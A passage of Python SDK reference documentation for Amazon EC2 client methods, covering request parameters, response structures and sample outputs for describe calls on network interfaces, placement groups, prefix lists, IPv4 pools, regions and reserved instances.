The allocation ID. + + * **AssociationId** _(string) --_ + + The association ID. + + * **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + * **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + * **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IPv4 address of the network interface. + + * **PrivateDnsName** _(string) --_ + + The private DNS name. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address. + + * **RequesterId** _(string) --_ + + The ID of the entity that launched the instance on your behalf (for example, AWS Management Console or Auto Scaling). + + * **RequesterManaged** _(boolean) --_ + + Indicates whether the network interface is being managed by AWS. + + * **SourceDestCheck** _(boolean) --_ + + Indicates whether traffic to or from the instance is validated. + + * **Status** _(string) --_ + + The status of the network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **TagSet** _(list) --_ + + Any tags assigned to the network interface. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +response = client.describe_network_interfaces( + NetworkInterfaceIds=[ + 'eni-e5aa89a3', + ], +) + +print(response) + +Expected Output: + +{ + 'NetworkInterfaces': [ + { + 'Association': { + 'AssociationId': 'eipassoc-0fbb766a', + 'IpOwnerId': '123456789012', + 'PublicDnsName': 'ec2-203-0-113-12.compute-1.amazonaws.com', + 'PublicIp': '203.0.113.12', + }, + 'Attachment': { + 'AttachTime': datetime(2013, 11, 30, 23, 36, 42, 5, 334, 0), + 'AttachmentId': 'eni-attach-66c4350a', + 'DeleteOnTermination': False, + 'DeviceIndex': 1, + 'InstanceId': 'i-1234567890abcdef0', + 'InstanceOwnerId': '123456789012', + 'Status': 'attached', + }, + 'AvailabilityZone': 'us-east-1d', + 'Description': 'my network interface', + 'Groups': [ + { + 'GroupId': 'sg-8637d3e3', + 'GroupName': 'default', + }, + ], + 'MacAddress': '02:2f:8f:b0:cf:75', + 'NetworkInterfaceId': 'eni-e5aa89a3', + 'OwnerId': '123456789012', + 'PrivateDnsName': 'ip-10-0-1-17.ec2.internal', + 'PrivateIpAddress': '10.0.1.17', + 'PrivateIpAddresses': [ + { + 'Association': { + 'AssociationId': 'eipassoc-0fbb766a', + 'IpOwnerId': '123456789012', + 'PublicDnsName': 'ec2-203-0-113-12.compute-1.amazonaws.com', + 'PublicIp': '203.0.113.12', + }, + 'Primary': True, + 'PrivateDnsName': 'ip-10-0-1-17.ec2.internal', + 'PrivateIpAddress': '10.0.1.17', + }, + ], + 'RequesterManaged': False, + 'SourceDestCheck': True, + 'Status': 'in-use', + 'SubnetId': 'subnet-b61f49f0', + 'TagSet': [ + ], + 'VpcId': 'vpc-a01106c2', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_placement_groups(kwargs_) + +Describes the specified placement groups or all of your placement groups. For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +response = client.describe_placement_groups( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + GroupNames=[ + 'string', + ], + GroupIds=[ + 'string', + ] +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * group-name - The name of the placement group. + * state - The state of the placement group (pending | available | deleting | deleted ). + * strategy - The strategy of the placement group (cluster | spread | partition ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupNames** (_list_) -- + + The names of the placement groups. + + Default: Describes all your placement groups, or only those otherwise specified. + + * _(string) --_ +* **GroupIds** (_list_) -- + + The IDs of the placement groups. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PlacementGroups': [ + { + 'GroupName': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Strategy': 'cluster'|'spread'|'partition', + 'PartitionCount': 123, + 'GroupId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **PlacementGroups** _(list) --_ + + Information about the placement groups. + + * _(dict) --_ + + Describes a placement group. + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **State** _(string) --_ + + The state of the placement group. + + * **Strategy** _(string) --_ + + The placement strategy. + + * **PartitionCount** _(integer) --_ + + The number of partitions. Valid only if **strategy** is set to partition . + + * **GroupId** _(string) --_ + + The ID of the placement group. + + * **Tags** _(list) --_ + + Any tags applied to the placement group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +describe_prefix_lists(kwargs_) + +Describes available AWS services in a prefix list format, which includes the prefix list name and prefix list ID of the service and the IP address range for the service. + +We recommend that you use DescribeManagedPrefixLists instead. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePrefixLists) + +**Request Syntax** + +response = client.describe_prefix_lists( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + PrefixListIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. + + * prefix-list-id : The ID of a prefix list. + * prefix-list-name : The name of a prefix list. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **PrefixListIds** (_list_) -- + + One or more prefix list IDs. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'PrefixLists': [ + { + 'Cidrs': [ + 'string', + ], + 'PrefixListId': 'string', + 'PrefixListName': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **PrefixLists** _(list) --_ + + All available prefix lists. + + * _(dict) --_ + + Describes prefixes for AWS services. + + * **Cidrs** _(list) --_ + + The IP address range of the AWS service. + + * _(string) --_ + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **PrefixListName** _(string) --_ + + The name of the prefix. + + +describe_principal_id_format(kwargs_) + +Describes the ID format settings for the root user and all IAM roles and IAM users that have explicitly specified a longer ID (17-character ID) preference. + +By default, all IAM roles and IAM users default to the same ID settings as the root user, unless they explicitly override the settings. This request is useful for identifying those IAM users and IAM roles that have overridden the default ID settings. + +The following resource types support longer IDs: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePrincipalIdFormat) + +**Request Syntax** + +response = client.describe_principal_id_format( + DryRun=True|False, + Resources=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Resources** (_list_) -- + + The type of resource: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Principals': [ + { + 'Arn': 'string', + 'Statuses': [ + { + 'Deadline': datetime(2015, 1, 1), + 'Resource': 'string', + 'UseLongIds': True|False + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Principals** _(list) --_ + + Information about the ID format settings for the ARN. + + * _(dict) --_ + + PrincipalIdFormat description + + * **Arn** _(string) --_ + + PrincipalIdFormatARN description + + * **Statuses** _(list) --_ + + PrincipalIdFormatStatuses description + + * _(dict) --_ + + Describes the ID format for a resource. + + * **Deadline** _(datetime) --_ + + The date in UTC at which you are permanently switched over to using longer IDs. If a deadline is not yet available for this resource type, this field is not returned. + + * **Resource** _(string) --_ + + The type of resource. + + * **UseLongIds** _(boolean) --_ + + Indicates whether longer IDs (17-character IDs) are enabled for the resource. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_public_ipv4_pools(kwargs_) + +Describes the specified IPv4 address pools. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePublicIpv4Pools) + +**Request Syntax** + +response = client.describe_public_ipv4_pools( + PoolIds=[ + 'string', + ], + NextToken='string', + MaxResults=123, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ] +) + +Parameters + +* **PoolIds** (_list_) -- + + The IDs of the address pools. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **Filters** (_list_) -- + + One or more filters. + + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PublicIpv4Pools': [ + { + 'PoolId': 'string', + 'Description': 'string', + 'PoolAddressRanges': [ + { + 'FirstAddress': 'string', + 'LastAddress': 'string', + 'AddressCount': 123, + 'AvailableAddressCount': 123 + }, + ], + 'TotalAddressCount': 123, + 'TotalAvailableAddressCount': 123, + 'NetworkBorderGroup': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **PublicIpv4Pools** _(list) --_ + + Information about the address pools. + + * _(dict) --_ + + Describes an IPv4 address pool. + + * **PoolId** _(string) --_ + + The ID of the address pool. + + * **Description** _(string) --_ + + A description of the address pool. + + * **PoolAddressRanges** _(list) --_ + + The address ranges. + + * _(dict) --_ + + Describes an address range of an IPv4 address pool. + + * **FirstAddress** _(string) --_ + + The first IP address in the range. + + * **LastAddress** _(string) --_ + + The last IP address in the range. + + * **AddressCount** _(integer) --_ + + The number of addresses in the range. + + * **AvailableAddressCount** _(integer) --_ + + The number of available addresses in the range. + + * **TotalAddressCount** _(integer) --_ + + The total number of addresses. + + * **TotalAvailableAddressCount** _(integer) --_ + + The total number of available addresses. + + * **NetworkBorderGroup** _(string) --_ + + The name of the location from which the address pool is advertised. A network border group is a unique set of Availability Zones or Local Zones from where AWS advertises public IP addresses. + + * **Tags** _(list) --_ + + Any tags for the address pool. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_regions(kwargs_) + +Describes the Regions that are enabled for your account, or all Regions. + +For a list of the Regions supported by Amazon EC2, see [Regions and Endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html#ec2_region) . + +For information about enabling and disabling Regions for your account, see [Managing AWS Regions](https://docs.aws.amazon.com/general/latest/gr/rande-manage.html) in the _AWS General Reference_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRegions) + +**Request Syntax** + +response = client.describe_regions( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + RegionNames=[ + 'string', + ], + DryRun=True|False, + AllRegions=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * endpoint - The endpoint of the Region (for example, ec2.us-east-1.amazonaws.com ). + * opt-in-status - The opt-in status of the Region (opt-in-not-required | opted-in | not-opted-in ). + * region-name - The name of the Region (for example, us-east-1 ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **RegionNames** (_list_) -- + + The names of the Regions. You can specify any Regions, whether they are enabled and disabled for your account. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **AllRegions** (_boolean_) -- Indicates whether to display all Regions, including Regions that are disabled for your account. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Regions': [ + { + 'Endpoint': 'string', + 'RegionName': 'string', + 'OptInStatus': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Regions** _(list) --_ + + Information about the Regions. + + * _(dict) --_ + + Describes a Region. + + * **Endpoint** _(string) --_ + + The Region service endpoint. + + * **RegionName** _(string) --_ + + The name of the Region. + + * **OptInStatus** _(string) --_ + + The Region opt-in status. The possible values are opt-in-not-required , opted-in , and not-opted-in . + + +**Examples** + +This example describes all the regions that are available to you. + +response = client.describe_regions( +) + +print(response) + +Expected Output: + +{ + 'Regions': [ + { + 'Endpoint': 'ec2.ap-south-1.amazonaws.com', + 'RegionName': 'ap-south-1', + }, + { + 'Endpoint': 'ec2.eu-west-1.amazonaws.com', + 'RegionName': 'eu-west-1', + }, + { + 'Endpoint': 'ec2.ap-southeast-1.amazonaws.com', + 'RegionName': 'ap-southeast-1', + }, + { + 'Endpoint': 'ec2.ap-southeast-2.amazonaws.com', + 'RegionName': 'ap-southeast-2', + }, + { + 'Endpoint': 'ec2.eu-central-1.amazonaws.com', + 'RegionName': 'eu-central-1', + }, + { + 'Endpoint': 'ec2.ap-northeast-2.amazonaws.com', + 'RegionName': 'ap-northeast-2', + }, + { + 'Endpoint': 'ec2.ap-northeast-1.amazonaws.com', + 'RegionName': 'ap-northeast-1', + }, + { + 'Endpoint': 'ec2.us-east-1.amazonaws.com', + 'RegionName': 'us-east-1', + }, + { + 'Endpoint': 'ec2.sa-east-1.amazonaws.com', + 'RegionName': 'sa-east-1', + }, + { + 'Endpoint': 'ec2.us-west-1.amazonaws.com', + 'RegionName': 'us-west-1', + }, + { + 'Endpoint': 'ec2.us-west-2.amazonaws.com', + 'RegionName': 'us-west-2', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_reserved_instances(kwargs_) + +Describes one or more of the Reserved Instances that you purchased. + +For more information about Reserved Instances, see [Reserved Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts-on-demand-reserved-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeReservedInstances) + +**Request Syntax** + +response = client.describe_reserved_instances( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + OfferingClass='standard'|'convertible', + ReservedInstancesIds=[ + 'string', + ], + DryRun=True|False, + OfferingType='Heavy Utilization'|'Medium Utilization'|'Light Utilization'|'No Upfront'|'Partial Upfront'|'All Upfront' +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * availability-zone - The Availability Zone where the Reserved Instance can be used. + * duration - The duration of the Reserved Instance (one year or three years), in seconds (31536000 | 94608000 ). + * end - The time when the Reserved Instance expires (for example, 2015-08-07T11:54:42.000Z). + * fixed-price - The purchase price of the Reserved Instance (for example, 9800.0). + * instance-type - The instance type that is covered by the reservation. + * scope - The scope of the Reserved Instance (Region or Availability Zone ). + * product-description - The Reserved Instance product platform description. Instances that include (Amazon VPC) in the product platform description will only be displayed to EC2-Classic account holders and are for use with Amazon VPC (Linux/UNIX | Linux/UNIX (Amazon VPC) | SUSE Linux | SUSE Linux (Amazon VPC) | Red Hat Enterprise Linux | Red Hat Enterprise Linux (Amazon VPC) | Windows | Windows (Amazon VPC) | Windows with SQL Server Standard | Windows with SQL Server Standard (Amazon VPC) | Windows with SQL Server Web | Windows with SQL Server Web (Amazon VPC) | Windows with SQL Server Enterprise | Windows with SQL Server Enterprise (Amazon VPC) ). + * reserved-instances-id - The ID of the Reserved Instance. + * start - The time at which the Reserved Instance purchase request was placed (for example, 2014-08-07T11:54:42.000Z). + * state - The state of the Reserved Instance (payment-pending | active | payment-failed | retired ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * usage-price - The usage price of the Reserved Instance, per hour (for example, 0.84). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **OfferingClass** (_string_) -- Describes whether the Reserved Instance is Standard or Convertible. +* **ReservedInstancesIds** (_list_) -- + + One or more Reserved Instance IDs. + + Default: Describes all your Reserved Instances, or only those otherwise specified. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **OfferingType** (_string_) -- The Reserved Instance offering type. If you are using tools that predate the 2011-11-01 API version, you only have access to the Medium Utilization Reserved Instance offering type. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstances': [ + { + 'AvailabilityZone': 'string', + 'Duration': 123, + 'End': datetime(2015, 1, 1), + 'FixedPrice': ..., + 'InstanceCount': 123, + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|